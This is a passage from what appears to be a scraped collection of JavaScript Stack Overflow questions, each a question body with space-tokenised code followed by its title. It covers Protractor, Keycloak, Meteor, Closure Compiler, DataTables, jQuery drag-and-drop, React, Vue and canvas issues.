in Chrome and some in Firefox - because we really can not run some tests in Chrome - for instance , keyboard shortcuts do n't work in Chrome+Mac . Running the tests that require using keyboard shortcuts in Firefox is a workaround until the linked chromedriver issue is resolved.Here is the relevant part of the configuration : The problem : Now , the problem is that , if I 'm debugging a single test , or want to run a single test - I 'm marking it is as focused ( via fdescribe/fit ) - but protractor starts two driver sessions - one for Chrome and the other one for Firefox , using both configured capabilities : The question : Is there a way to tell protractor to use the only one capability that has a focused spec configured ? Using currently latest protractor 3.0.0.Hope the question is clear . Let me know if you need any additional information . var firefox_only_specs = [ `` ../specs/some_spec1.js '' , `` ../specs/some_spec2.js '' , `` ../specs/some_spec3.js '' ] ; exports.config = { directConnect : true , multiCapabilities : [ { browserName : `` chrome '' , chromeOptions : { args : [ `` incognito '' , `` disable-extensions '' , `` start-maximized '' ] } , specs : [ `` ../specs/**/*.spec.js '' , `` ../specs/**/**/*.spec.js '' , `` ../specs/**/**/**/*.spec.js '' ] , exclude : firefox_only_specs } , { browserName : `` firefox '' , specs : firefox_only_specs } ] , // ... } ; Running `` protractor : local '' ( protractor ) task [ launcher ] Running 2 instances of WebDriver ... -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ chrome # 1 ] PID : 2329 [ chrome # 1 ] Using ChromeDriver directly ... [ chrome # 1 ] Spec started ... -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- [ firefox # 2 ] PID : 2330 [ firefox # 2 ] Using FirefoxDriver directly ... [ firefox # 2 ] Spec started ...",multiCapabilities and jasmine focused tests "JS : I am trying to integrate Keycloak for my client side application using javascript adapter keycloak-js.However , I ca n't seem to make it work . This is my codeIt does n't return anything , not even error or anything from the callback . I only haveGET http : //localhost:8080/auth/realms/my-realm/protocol/openid-connect/3p-cookies/step1.html 404 ( Not Found ) Not sure what did I do wrong ? I follow the documentation but I ca n't find anything about this behaviourIf I type the url above in browser , I see thisIs there anything I can do ? EDIT : I managed to make it work using this code by matching keycloak server with keycloak-js version . Upgrading server and keycloak-js version to 11.0.2 does work for me as well as downgrading both version to 10.0.2This is the client configuration that I 'm usingIn the code example above , I can see console.log ( isAuthorised ) ; return false in dev tools , and if I do const isAuthorised = await keycloak.init ( { onLoad : 'login-required ' } ) ; , It will redirect me to login page and redirect me back to this page after successful login . Hope this helps . const keycloak = new Keycloak ( { realm : 'my-realm ' , url : 'http : //localhost:8080/auth/ ' , clientId : 'my-client ' , } ) ; try { const authenticated = await keycloak.init ( ) ; console.log ( authenticated ) ; } catch ( e ) { console.log ( e ) ; }",Keycloak javascript adapter ` keycloak.init ` load 404 iframe "JS : I am building an application using Meteor . I want to create a new Cart ID ( to act as a cart where I can store items ) each time a user logs into my application . However , every time I open a new page in the application , a new Cart ID is created . Does this mean that the application `` logs in '' every single time I click on a new page in the app ? Here 's my code : Accounts.onLogin ( function ( user ) { var newCartId = uuid.new ( ) Meteor.users.update ( { _id : user.user._id } , { $ set : { 'profile.cartId ' : newCartId } } ) console.log ( 'just created a new Cart ID at ' + Date ( ) ) ; } ) ;",Account onLogin hook Meteor loop "JS : In Google Closure , if an Array of a specific @ type { Array. < type > } is initialized , can I be sure that Google Closure will confirm the Array contents ? Here is a small test case . It appears to me that an { Array. < string > } is sneaking past an { Array. < number > } check , although a { string } is correctly blocked by the same check . I am a little new to GC , is this an error on my part ? I 've pasted this to the Google Closure Service , and I 'm showing only one of two expected errors ( Sept 12 2013 ) . I 've double-tested this on my local jar file ( newest , v20130823 ) with ADVANCED_OPTIMIZATIONS and warning_level VERBOSE . It still looks like the { Array. < string > } sneaks by.Docs : Annotating for Google ClosureThanks in advance for your input.note : I 've taken a close look at this related question , where the type of Array.push ( ) was manually filled in . This question concerns initialization , though . If I take his corrected code and init all of his arrays with garbage data , as above , GC fails to catch the garbage in his case as well.Edited : added warning_level VERBOSE and language ECMASCRIPT5 to the header on the test case , just to be sure . { Array. < string > } still not detected . // ==ClosureCompiler==// @ output_file_name default.js// @ compilation_level ADVANCED_OPTIMIZATIONS// @ warning_level VERBOSE// @ language ECMASCRIPT5// ==/ClosureCompiler==/** no warning , as expected : @ type { Array. < number > } */var a = [ 1,2,3,4 ] ; /** warning ! Type mismatch as expected : @ type { Array. < number > } */var b = 'mismatch ' ; // { string } does not match { Array. < number > } /** no warning , but Type mismatch was expected : @ type { Array. < number > } */var c = [ 'foo ' , 'bar ' ] ; // { Array. < string > } should not match { Array. < number > } // prevent compile-to-zeroalert ( a ) ; alert ( b ) ; alert ( c ) ;",Type Checking Array Contents with Closure-Compiler "JS : In a web project I 'm using multiple listeners for the same window events . I assume adding multiple event listeners on the window has a negligible effect in terms of performance . Is it so , or should I just listen once , and add a my own javascript subscribing solution for the various units which need to be notified ? The resize listener could be used by a basic UI element which is rendered in a list , and therefor add hundreds of listeners . Edit : I 'm aware of Does adding too many event listeners affect performance ? . However , that refers to a element click events . In that case there are multiple listeners to multiple objects . In my case there are multiple listeners to the same object , and a special object - the window . window.addevntlistener ( `` resize '' , callback ) window.addevntlistener ( `` hasChange '' , callback )",How does multiple listeners for the same window events affect performance ? "JS : { { } } is working fine but ng-model is not , at the same place.I am using the following html-asdf is defined in this js app like thisCan someone explain why is it so ? < body ng-app= '' crud '' > Gray input fields will not be visible . < div ng-controller= '' ctrl '' > < input type= '' text '' value= '' sdf '' ng-model= '' asdf '' / > < h1 ng-model= '' asdf '' > < /h1 > < ! -- this does n't work -- > < h1 > { { asdf } } < /h1 > < ! -- this work -- > < /div > < /div > < /body > var app = angular.module ( `` crud '' , [ ] ) ; app.controller ( `` ctrl '' , [ ' $ scope ' , function ( $ scope ) { $ scope.asdf= '' ankur '' ; } ] ) ;",Difference between ng-model and angular expression - { { } } "JS : How Can I fix the below code.. I have used the technique of transform : translateY ( -50 % ) to make a div vertically center . But When I use it with animation , it first takes top:50 % then it translates giving a jerk.. I do n't want the jerk to happen and the element should automatically come in center . body , html { height : 100 % ; background : # c9edff ; text-align : center ; } .element { position : relative ; top : 50 % ; transform : translateY ( -50 % ) ; font-family : arial ; font-size : 20px ; line-height : 1.8em ; -webkit-animation-name : zoom ; -webkit-animation-duration : 0.6s ; animation-name : zoom ; animation-duration : 0.6s ; } @ -webkit-keyframes zoom { from { -webkit-transform : scale ( 0 ) ; } to { -webkit-transform : scale ( 1 ) } } @ keyframes zoom { from { transform : scale ( 0 ) } to { transform : scale ( 1 ) } } < div class= '' element '' > Vertical Align is Awesome ! < br / > But with animation its giving a jerk ! < br/ > Please Fix < /div >",Vertically align with translateY ( -50 % ) giving a jerk ? "JS : I want to access ReactiveVar variable in onRendered getting error Exception in delivering result of invoking 'getUsersData ' : TypeError : Can not read property 'userData ' of null Template.editAdmin.onCreated ( function ( ) { this.userData = new ReactiveVar ( [ ] ) ; } ) ; Template.editAdmin.onRendered ( function ( ) { Meteor.call ( `` getUsersData '' , this.data , function ( err , result ) { Template.instance ( ) .editAdminId.set ( result ) ; } ) ; } ) ;",how to access meteor ReactiveVar variable in meteor call in onRendered "JS : I got [ object Object ] 9778177 as result , I tried to parse the value but does n't help neither , something is wrong . let x = [ { `` total_count '' : 7 } , { `` total_count '' : 9 } , { `` total_count '' : 778 } , { `` total_count '' : 177 } ] let sum = x.reduce ( ( accum , obj ) = > { return accum + obj.total_count } ) console.log ( sum )",reduce to sum up all values in array of object failed "JS : Is it possible to execute a block of code without the implicit with ( global ) context that all scripts seem to have by default ? For example , in a browser , would there be any way to set up a script so that a line such asthrows Uncaught ReferenceError : location is not definedinstead of accessing window.location , when location has not been declared first ? Lacking that , is there a way that such an implicit reference could result in a warning of some sort ? It can be a source of bugs when writing code ( see below ) , so having a way to guard against it could be useful . ( Of course , due to ordinary scoping rules , it 's possible to declare another variable with the same name using const or let , or within an inner block , to ensure that using that variable name references the new variable rather than the global property , but that 's not the same thing . ) This may be similar to asking whether it 's possible to stop referencing a property from within an actual with statement : It 's known that with should not be used in the first place , but unfortunately it seems we have no choice when it comes to the with ( global ) , which occasionally saves a few characters at the expense of confusing bugs which pop up somewhat frequently : 1 2 3 4 5 6 . For example : ( the issue here : window.status is a reserved property - when assigned to , it coerces the assigned expression to a string ) These sorts of bugs are the same reason that explicit use of with is discouraged or prohibited , yet the implicit with ( global ) continues to cause issues , even in strict mode , so figuring out a way around it would be useful . const foo = location ; const obj = { prop : 'prop ' } ; with ( obj ) { // how to make referencing `` prop '' from somewhere within this block throw a ReferenceError } var status = false ; if ( status ) { console.log ( 'status is actually truthy ! ' ) ; }",How to avoid accidentally implicitly referring to properties on the global object ? "JS : I am executing following code getting following output : I am not getting how am getting this.name = Person in second console function Person ( name , age ) { this.name = name || `` John '' ; this.age = age || 24 ; this.displayName = function ( ) { console.log ( 'qq ' , this.name ) ; } } Person.name = `` John '' ; Person.displayName = function ( ) { console.log ( 'ww ' , this.name ) ; } var person1 = new Person ( 'John ' ) ; person1.displayName ( ) ; Person.displayName ( ) ; qq Johnww Person",Javascript : getting function name with this.name "JS : I have a protractor setup with multiple browsers configured through multiCapabilities , running tests on browserstack.One of my key protractor specs/tests contain the following afterEach ( ) block : that checks that the browser console is empty ( no errors on the console ) .The problem is : when I run this spec against Internet Explorer , I 'm getting an UnknownError : UnknownError : Command not found : POST /session/6b838fe8-f4a6-4b31-b245-f4bf8f37537c/logAfter a quick research , I 've found out that IE selenium webdriver does not yet support session logs : [ IE ] Add support for fetching logs using the webdriver.manage ( ) .logs ( ) mechanismThe question is : how can I catch this UnknownError and let the spec pass in case of this specific error ? Or , to turn it around , is it possible to have an afterEach ( ) block capability/browser-specific , or know which currently running capability is it ? I 've tried to use try/catch and try relying on exception sender , but console.log ( ) is not executed : As a workaround , I 'm duplicating the same spec but without that failing afterEach ( ) block , specifically for Internet Explorer . afterEach ( function ( ) { browser.manage ( ) .logs ( ) .get ( `` browser '' ) .then ( function ( browserLog ) { expect ( browserLog.length ) .toEqual ( 0 ) ; } ) ; } ) ; afterEach ( function ( ) { try { browser.manage ( ) .logs ( ) .get ( `` browser '' ) .then ( function ( browserLog ) { expect ( browserLog.length ) .toEqual ( 0 ) ; } ) ; } catch ( e ) { console.log ( e.sender ) ; } } ) ;",Handling Unknown Errors in protractor "JS : Hello my stackoverflow friends . I have some problems today and need your help to solve them . If you can help with anything it would be much appreciated ! Because I really need to finish this project.JSFiddle : https : //jsfiddle.net/rdxmmobe/1/This is the script : These are the 7 droppable divs ( where you can drop images ) : And these are the draggable images ( images you can drag ) they come from a database and have different id 's : This is the php code : First problem : As you can see in my script above I used `` helper : 'clone ' '' but the images with the class '' .DraggedItem '' are being moved and this is not the point . The images are supposed to be moved and replaced between the 7 divs . But they are supposed to be cloned from the original list ( so i can use the same icon twice e.g ) Second problem : I have a hidden input for each div and they must contain the id of the dropped image so i can insert them into a database . Let 's just say I dropped an image on Div1 ( # rang1 ) , and then moved the image to Div4 ( # rang4 ) , the id of the image remains in the hidden input of the Div1 and not get deleted/updated . How can I make sure that the id also gets updated when I drop a new image on the div ? Third problem : how can I do a check when I drop an image from the main list , that if there is already an image , the old image gets deleted and replaced by the new one ? Fourth problem : what is the best way to switch between 2 images ? If you can help me with any of these problems it would be much appreciated ! ! I ca n't go further without solving these problems and I really need help from experts . < script type= '' text/javascript '' > $ ( function ( ) { $ ( `` .DraggedItem '' ) .draggable ( { helper : 'clone ' , cursor : 'move ' , opacity : 0.7 } ) ; $ ( ' # rang1 ' ) .droppable ( { drop : function ( ev , ui ) { $ ( ' # rang1input ' ) .val ( $ ( ui.draggable ) .attr ( 'id ' ) ) ; var dropped = ui.draggable ; var droppedOn = $ ( this ) ; $ ( dropped ) .detach ( ) .css ( { top : 0 , left : 0 } ) .appendTo ( droppedOn ) ; } } ) ; $ ( ' # rang2 ' ) .droppable ( { drop : function ( ev , ui ) { $ ( ' # rang2input ' ) .val ( $ ( ui.draggable ) .attr ( 'id ' ) ) ; var dropped = ui.draggable ; var droppedOn = $ ( this ) ; $ ( dropped ) .detach ( ) .css ( { top : 0 , left : 0 } ) .appendTo ( droppedOn ) ; } } ) ; $ ( ' # rang3 ' ) .droppable ( { drop : function ( ev , ui ) { $ ( ' # rang3input ' ) .val ( $ ( ui.draggable ) .attr ( 'id ' ) ) ; var dropped = ui.draggable ; var droppedOn = $ ( this ) ; $ ( dropped ) .detach ( ) .css ( { top : 0 , left : 0 } ) .appendTo ( droppedOn ) ; } } ) ; $ ( ' # rang4 ' ) .droppable ( { drop : function ( ev , ui ) { $ ( ' # rang4input ' ) .val ( $ ( ui.draggable ) .attr ( 'id ' ) ) ; var dropped = ui.draggable ; var droppedOn = $ ( this ) ; $ ( dropped ) .detach ( ) .css ( { top : 0 , left : 0 } ) .appendTo ( droppedOn ) ; } } ) ; $ ( ' # rang5 ' ) .droppable ( { drop : function ( ev , ui ) { $ ( ' # rang5input ' ) .val ( $ ( ui.draggable ) .attr ( 'id ' ) ) ; var dropped = ui.draggable ; var droppedOn = $ ( this ) ; $ ( dropped ) .detach ( ) .css ( { top : 0 , left : 0 } ) .appendTo ( droppedOn ) ; } } ) ; $ ( ' # rang6 ' ) .droppable ( { drop : function ( ev , ui ) { $ ( ' # rang6input ' ) .val ( $ ( ui.draggable ) .attr ( 'id ' ) ) ; var dropped = ui.draggable ; var droppedOn = $ ( this ) ; $ ( dropped ) .detach ( ) .css ( { top : 0 , left : 0 } ) .appendTo ( droppedOn ) ; } } ) ; $ ( ' # rang7 ' ) .droppable ( { drop : function ( ev , ui ) { $ ( ' # rang7input ' ) .val ( $ ( ui.draggable ) .attr ( 'id ' ) ) ; var dropped = ui.draggable ; var droppedOn = $ ( this ) ; $ ( dropped ) .detach ( ) .css ( { top : 0 , left : 0 } ) .appendTo ( droppedOn ) ; } } ) ; } ) ; < /script > < form action= '' < ? php echo $ _SERVER [ `` PHP_SELF '' ] ? > '' method= '' POST '' > < input type= '' hidden '' value= '' < ? php echo $ row [ `` IDBewoner '' ] ? > '' name= '' bewoner '' > < td > < div id= '' rang1 '' > < /div > < input type= '' hidden '' value= '' '' id= '' rang1input '' name= '' rang1value '' > < /td > < td > < div id= '' rang2 '' > < /div > < input type= '' hidden '' value= '' '' id= '' rang2input '' name= '' rang2value '' > < /td > < td > < div id= '' rang3 '' > < /div > < input type= '' hidden '' value= '' '' id= '' rang3input '' name= '' rang3value '' > < /td > < td > < div id= '' rang4 '' > < /div > < input type= '' hidden '' value= '' '' id= '' rang4input '' name= '' rang4value '' > < /td > < td > < div id= '' rang5 '' > < /div > < input type= '' hidden '' value= '' '' id= '' rang5input '' name= '' rang5value '' > < /td > < td > < div id= '' rang6 '' > < /div > < input type= '' hidden '' value= '' '' id= '' rang6input '' name= '' rang6value '' > < /td > < td > < div id= '' rang7 '' > < /div > < input type= '' hidden '' value= '' '' id= '' rang7input '' name= '' rang7value '' > < /td > < input type= '' submit '' value= '' Save '' > < /form > < td > < ? php echo `` < img class='DraggedItem ' id= ' '' . $ row [ `` IDPictogram '' ] . '' ' src='data : image/jpeg ; base64 , '' .base64_encode ( $ row [ 'Pictogram ' ] ) . '' ' width='90 ' height='90 ' draggable='true ' > '' ; ? > < /td > if ( $ _SERVER [ `` REQUEST_METHOD '' ] == `` POST '' ) { $ rang1 = $ _POST [ `` rang1value '' ] ; $ rang2 = $ _POST [ `` rang2value '' ] ; $ rang3 = $ _POST [ `` rang3value '' ] ; $ rang4 = $ _POST [ `` rang4value '' ] ; $ rang5 = $ _POST [ `` rang5value '' ] ; $ rang6 = $ _POST [ `` rang6value '' ] ; $ rang7 = $ _POST [ `` rang7value '' ] ; $ bewonerID = $ _POST [ `` bewoner '' ] ; echo `` < script > alert ( 'Rang1 : $ rang1 ' ) < /script > '' ; echo `` < script > alert ( 'Rang2 : $ rang2 ' ) < /script > '' ; echo `` < script > alert ( 'Rang3 : $ rang3 ' ) < /script > '' ; echo `` < script > alert ( 'Rang4 : $ rang4 ' ) < /script > '' ; echo `` < script > alert ( 'Rang5 : $ rang5 ' ) < /script > '' ; echo `` < script > alert ( 'Rang6 : $ rang6 ' ) < /script > '' ; echo `` < script > alert ( 'Rang7 : $ rang7 ' ) < /script > '' ; }",Drag and drop positioning problems+ updating the id "JS : I need add `` Select all '' checkbox in table with using DataTable pligin . I do n't found standard method for this and I use addition by manually for this . All Ok , but if I try use localization ( 'language ' property ) my `` All select '' checkbox disappears . I try fix is by add my code in DataTable library , but it is bad way.Add handlers of selection on javascript : Result - all right ! : Add using language for table localization : My settings is reset : < table id= '' devices '' class= '' table table-striped table-bordered '' cellspacing= '' 0 '' width= '' 100 % '' > < thead > < tr > < th style= '' padding:8px ; text-align : center ; '' > < input type='checkbox ' class='minimal check-all ' id='check-all-device ' name='check-all-device ' > < /input > < /th > < th > { % trans `` STATUS '' % } < /th > < th > { % trans `` DEVICE NAME '' % } < /th > < th > { % trans `` ACTIONS '' % } < /th > < th > < /th > < /tr > < /thead > < tfoot > < tr > < th > < /th > < th > { % trans `` STATUS '' % } < /th > < th > { % trans `` DEVICE NAME '' % } < /th > < th > { % trans `` ACTIONS '' % } < /th > < th > < /th > < /tr > < /tfoot > < tbody id= '' devices-table-rows '' > { % for device in object_list % } { % include `` device_add_row.html '' % } { % endfor % } < /tbody > < /table > devicesTable = $ ( ' # devices ' ) .DataTable ( { // disable sorting first column 'aoColumnDefs ' : [ { 'bSortable ' : false , 'aTargets ' : [ 0 ] /* 1st one , start by the right */ } ] , stateSave : false } ) ; // Action 's select insert in to search row $ ( ' # devices_filter ' ) .append ( $ ( ' # devices-actions ' ) ) ; // Settings Check ALLvar firstTh = $ ( $ ( $ ( ' # devices > thead ' ) .find ( 'tr ' ) [ 0 ] ) .find ( 'th ' ) [ 0 ] ) ; firstTh.removeClass ( `` sorting_asc '' ) ; //iCheck for checkbox and radio inputs $ ( 'input [ type= '' checkbox '' ] .minimal , input [ type= '' radio '' ] .minimal ' ) .iCheck ( { checkboxClass : 'icheckbox_minimal-blue ' , radioClass : 'iradio_minimal-blue ' } ) ; // Check handlers Allvar checkAll = $ ( 'input.check-all ' ) ; var checkboxes = $ ( 'input.check-single ' ) ; checkAll.on ( 'ifChecked ifUnchecked ' , function ( event ) { if ( event.type == 'ifChecked ' ) { checkboxes.iCheck ( 'check ' ) ; } else { checkboxes.iCheck ( 'uncheck ' ) ; } } ) ; checkboxes.on ( 'ifChanged ' , function ( event ) { if ( checkboxes.filter ( ' : checked ' ) .length == checkboxes.length ) { checkAll.prop ( 'checked ' , 'checked ' ) ; } else { checkAll.removeProp ( 'checked ' ) ; checkAll.prop ( 'checked ' , false ) ; } checkAll.iCheck ( 'update ' ) ; } ) ; var languageUrl = `` https : //cdn.datatables.net/plug-ins/1.10.11/i18n/Russian.json '' ; } devicesTable = $ ( ' # devices ' ) .DataTable ( { // disable sorting first column 'aoColumnDefs ' : [ { 'bSortable ' : false , 'aTargets ' : [ 0 ] /* 1st one , start by the right */ } ] , stateSave : false , language : { `` url '' : languageUrl } } ) ;",Sorting arrow is shown for first column even when sorting is disabled "JS : While debugging a javascript code that uses jQuery I found the following code : By my understanding of javascript this code will sort array containing two zeroes with comparison function that will always set a global variable and will return equality , which has same effect as baseHasDuplicate = false ; .Coming from a valued source I think I missed something.Did I miss something or is this a programming fail ? [ 0 , 0 ] .sort ( function ( ) { baseHasDuplicate = false ; return 0 ; } ) ;",What does this ( useless ? ) javascript code do ? "JS : Currently I use Vuetify for base components and would like to create reusable extensions . For example a list containing checkboxes , a datatable column with some functionality etc.For this question I will take the list containing checkboxes example . I created the following component called CheckboxGroup.vueThis component takes an array of objects as a property and creates a checkbox for each entry.Important parts are v-model= '' item.state '' and : label= '' item.title '' . Most of the time the state attribute will have a different name , same for the title attribute.For testing purposes I created a view file called Home.vue holding an array of documents.This time title is called name and state is called deleted . Obviously CheckboxGroup is not able to manage the documents because the attribute names are wrong.How would you solve this problem ? Would you create a computed property and rename these attributes ? Would be a bad idea I think ... And by the way , is using v-model a good idea ? A different solution would be to listen to the changed event of a checkbox and emit an event with the item index . Then you would have to listen for the change in the parent component.I do n't think there is a way to create something likebecause it would be bad design anyway . I hope that this is a very trivial problem and every Vue developer has been confronted with it , since the primary goal should always be to develop abstract components that can be reused multiple times.Please keep in mind that this checkbox problem is just an example . A solution for this problem would also solve same or similar problems : ) < template > < v-container > < v-checkbox v-for= '' ( item , index ) in items '' : key= '' index '' v-model= '' item.state '' : label= '' item.title '' > < /v-checkbox > < /v-container > < /template > < script > export default { props : { items : Array , required : true } } ; < /script > < template > < v-container > < CheckboxGroup : items= '' documents '' / > < v-btn @ click= '' saveSettings '' > Save < /v-btn > < /v-container > < /template > < script > import CheckboxGroup from `` ../components/CheckboxGroup '' ; export default { components : { CheckboxGroup } , data : function ( ) { return { documents : [ { id : 1 , name : `` Doc 1 '' , deleted : false } , { id : 2 , name : `` Doc 2 '' , deleted : false } , { id : 3 , name : `` Doc 3 '' , deleted : true } ] } ; } , methods : { saveSettings : function ( ) { console.log ( this.documents ) ; } } } ; < /script > < CheckboxGroup : items= '' documents '' titleAttribute= '' name '' stateAttribute= '' deleted '' / >",creating abstract components that can manage external data "JS : Note : the code in this question was run in Chrome Console.I encountered this problem when I was doing the JS-puzzler , question 21 ( well.. it did n't gave a ordering though ) . The question ask about the result of : and the answer is window . As the answer states : [ ] .reverse will return this and when invoked without an explicit receiver object it will default to the default this AKA window.Based on this understanding , I wrote a bit of code to test : And guess what.. this code raise an error : TypeError : Array.prototype.reverse called on null or undefinedI want to ask why the x ( ) called in the new Bar is not showing the this object , but raising exception instead ? var x = [ ] .reverse ; x ( ) ; function Bar ( ) { var x = [ ] .reverse ; console.log ( x ( ) ) ; } new Bar ( ) ;",calling Array.prototype.reverse ( ) on empty array ? JS : i have this basic html structure : now i want to iterate over all m 's but also would like to know if i am in a or b.using basic jquery syntax each i fail to do find this out . < div class=a > < div class=m > < /div > < div class=m > < /div > < /div > < div class=b > < div class=m > < /div > < div class=m > < /div > < /div > $ ( '.m ' ) .each ( function ( index ) { // how do i know if this m is part of a or b ? } ) ;,jQuery : iterate over nested elements using each "JS : I 'm working with a web application that is developed with the Phoenix Framework ( written in Elixir ) .I 've got a form field that currently looks like this : This allows users to select a category from a drop down list ( which is okay ) ; however , what I 'd like users to see is a standard text field that will autocomplete the string that the enter with categories from my database as they start typing it.Very similar functionality as the Tags field that we use when posting a question on Stack Overflow.What would that be the best way to do this with a Phoenix application ? I 've tried using jQuery Autocomplete ; however , I 'd like a more 'light weight ' solution ( that does n't require jQuery ) .Any ideas are greatly appreciated . Thank you for your time . < div class= '' form-group '' > < % = select f , : category_id , @ categories , class : `` form-control '' % > < % = error_tag f , : category_id % > < /div >",Autocomplete Form with Specific Terms "JS : Do any JavaScript test frameworks provide a rough equivalent to Python 's doctest ? function add ( a , b ) { /** Returns the sum of ` a ` and ` b ` : > add ( 1 , 3 ) 4 Add coerces types to numeric values where possible : > add ( '51 ' + 3 ) 54 */ return ( a - 0 ) + ( b - 0 ) ; }",How to run ( Python-like ) doctests in JavaScript ? "JS : I 'm trying to sort an array of nested objects . It 's working with a static chosen key but I ca n't figure out how to get it dynamically.So far I 've got this codeAt this point the keys are hardcoded [ 'general ' ] [ 'orderID ' ] but I want this part to be dynamic by adding a keys param to the sortBy function : keys is an array with the nested keys . For the above example , it will be [ 'general ' , 'fileID ' ] .What are the steps that need to be taken to make this dynamic ? Note : child objects can be undefined therefore I 'm using a || { } Note 2 : I 'm using es6 . No external packages . sortBy = ( isReverse=false ) = > { this.setState ( prevState = > ( { files : prevState.files.sort ( ( a , b ) = > { const valueA = ( ( ( a || { } ) [ 'general ' ] || { } ) [ 'fileID ' ] ) || `` ; const valueB = ( ( ( b || { } ) [ 'general ' ] || { } ) [ 'fileID ' ] ) || `` ; if ( isReverse ) return valueB.localeCompare ( valueA ) ; return valueA.localeCompare ( valueB ) ; } ) } ) ) ; } sortBy = ( keys , isReverse=false ) = > { ...",Sort objects in array with dynamic nested property keys "JS : I 've written code that creates a form displayed as a table on a HTML page . I 've written Javascript to allow the user to add rows or delete selected rows . The add and delete functionalities work . But I want the final column of a row to display the sum of the previous three values , and that is just not happening.Here 's the HTML code : And the Javascript that I 've been using : Also , the first row does n't get deleted in Firefox . That works only in Internet Explorer facepalm.What should I do ? < input type= '' button '' value= '' Add Row '' onclick= '' addRow ( 'dataTable ' ) '' / > < input type= '' button '' value= '' Delete Row '' onclick= '' deleteRow ( 'dataTable ' ) '' / > < table id= '' dataTable '' width= '' 350px '' border= '' 1 '' > < form name= '' f1 '' id= '' f1 '' > < tr > < td > < b > Select < /b > < /td > < td > < b > S.No . < /b > < /td > < td > < b > Subject < /b > < /td > < td > < b > Mark 1 < /b > < /td > < td > < b > Mark 2 < /b > < /td > < td > < b > Mark 3 < /b > < /td > < td > < b > Total < /b > < /td > < /tr > < tr > < td > < input type= '' checkbox '' name= '' chk '' / > < /td > < td > 1 < /td > < td > < input type= '' text '' name= '' subject '' / > < /td > < td > < input type= '' text '' name= '' mark '' / > < /td > < td > < input type= '' text '' name= '' marka '' / > < /td > < td > < input type= '' text '' name= '' markb '' / > < /td > < td > < input type= '' text '' name= '' total '' / > < /td > < /tr > < /form > < /table > < input type=button value= '' Sum '' onclick=sum ( 'dataTable ' ) / > < script language= '' javascript '' > var k=0 ; function addRow ( tableID ) { k++ ; var table = document.getElementById ( tableID ) ; var rowCount = table.rows.length ; var row = table.insertRow ( rowCount ) ; var cell1 = row.insertCell ( 0 ) ; var element1 = document.createElement ( `` input '' ) ; element1.type = `` checkbox '' ; element1.name= '' chk '' +k ; cell1.appendChild ( element1 ) ; var cell2 = row.insertCell ( 1 ) ; cell2.innerHTML = rowCount ; var cell3 = row.insertCell ( 2 ) ; var element2 = document.createElement ( `` input '' ) ; element2.type = `` text '' ; element2.name = `` subject '' +k ; cell3.appendChild ( element2 ) ; var cell4 = row.insertCell ( 3 ) ; var element3 = document.createElement ( `` input '' ) ; element3.type = `` text '' ; element3.name = `` mark '' +k ; cell4.appendChild ( element3 ) ; var cell5 = row.insertCell ( 4 ) ; var element4 = document.createElement ( `` input '' ) ; element4.type = `` text '' ; element4.name = `` marka '' +k ; cell5.appendChild ( element4 ) ; var cell6 = row.insertCell ( 5 ) ; var element5 = document.createElement ( `` input '' ) ; element5.type = `` text '' ; element5.name = `` markb '' +k ; cell6.appendChild ( element5 ) ; var cell7 = row.insertCell ( 6 ) ; var element6 = document.createElement ( `` input '' ) ; element6.type = `` text '' ; element6.name = `` total '' +k ; cell7.appendChild ( element6 ) ; } function deleteRow ( tableID ) { try { var table = document.getElementById ( tableID ) ; var rowCount = table.rows.length ; for ( var i=0 ; i < rowCount ; i++ ) { var row = table.rows [ i ] ; var chkbox = row.cells [ 0 ] .childNodes [ 0 ] ; if ( null ! = chkbox & & true == chkbox.checked ) { table.deleteRow ( i ) ; rowCount -- ; i -- ; } } } catch ( e ) { alert ( e ) ; } for ( var j=1 ; j < rowCount ; j++ ) { var mytable = document.getElementById ( tableID ) ; mytable.rows [ j ] .cells [ 1 ] .innerHTML = j ; } } function sum ( tableID ) { var table = document.getElementById ( tableID ) ; var rowCount = table.rows.length ; for ( var i=1 ; i < rowCount ; i++ ) { table.rows [ i ] .cells [ 6 ] .name.value=table.rows [ i ] .cells [ 3 ] .name.value + table.rows [ i ] .cells [ 4 ] .name.value + table.rows [ i ] .cells [ 5 ] .name.value ; } } < /script >",How do I find the sum of the values entered in certain fields that were created dynamically using Javascript ? "JS : I am currently working on a react app , and I found having to bind this a bit cumbersome when a component class has many functions.ExampleIs there a more efficient way to do this ? class Foo extends Component { constructor ( props ) { super ( props ) ; this.function1 = this.function1.bind ( this ) ; this.function2 = this.function2.bind ( this ) ; this.function3 = this.function3.bind ( this ) ; } function1 ( ) { ... } function2 ( ) { ... } function3 ( ) { ... } }",Is there a better way to bind 'this ' in React Component classes ? "JS : I am working with canvas , right now I can save into DB and I can change the background image to one I choose of a image list.My problem is when I tried to save the canvas with the background the saved image just show me the draw but does n't the image background ... can somebody help me with this ? Best Regards ! Here the code : Here the form with the images : CODE EDITEDHere the code : < script src= '' js/drawingboard.min.js '' > < /script > < script data-example= '' 1 '' > var defaultBoard = new DrawingBoard.Board ( `` default-board '' , { background : `` # ffff '' , droppable : true , webStorage : false , enlargeYourContainer : true , addToBoard : true , stretchImg : false } ) ; defaultBoard.addControl ( `` Download '' ) ; $ ( `` .drawing-form '' ) .on ( `` submit '' , function ( e ) { var img = defaultBoard.getImg ( ) ; var imgInput = ( defaultBoard.blankCanvas == img ) ? `` '' : img ; $ ( this ) .find ( `` input [ name=image ] '' ) .val ( imgInput ) ; defaultBoard.clearWebStorage ( ) ; } ) ; $ ( function ( ) { $ ( `` # file-input '' ) .change ( function ( e ) { var file = e.target.files [ 0 ] , imageType = /image . */ ; if ( ! file.type.match ( imageType ) ) return ; var reader = new FileReader ( ) ; reader.onload = fileOnload ; reader.readAsDataURL ( file ) ; } ) ; function fileOnload ( e ) { var $ img = $ ( `` < img > '' , { src : e.target.result } ) ; var canvas = $ ( `` # default-board '' ) [ 0 ] ; var context = canvas.getContext ( `` 2d '' ) ; $ img.load ( function ( ) { context.drawImage ( this , 0 , 0 ) ; } ) ; } } ) ; < /script > < script src= '' js/yepnope.js '' > < /script > < script > var iHasRangeInput = function ( ) { var inputElem = document.createElement ( `` input '' ) , smile = `` : ) '' , docElement = document.documentElement , inputElemType = `` range '' , available ; inputElem.setAttribute ( `` type '' , inputElemType ) ; available = inputElem.type ! == `` text '' ; inputElem.value = smile ; inputElem.style.cssText = `` position : absolute ; visibility : hidden ; '' ; if ( /^range $ /.test ( inputElemType ) & & inputElem.style.WebkitAppearance ! == undefined ) { docElement.appendChild ( inputElem ) ; defaultView = document.defaultView ; available = defaultView.getComputedStyle & & 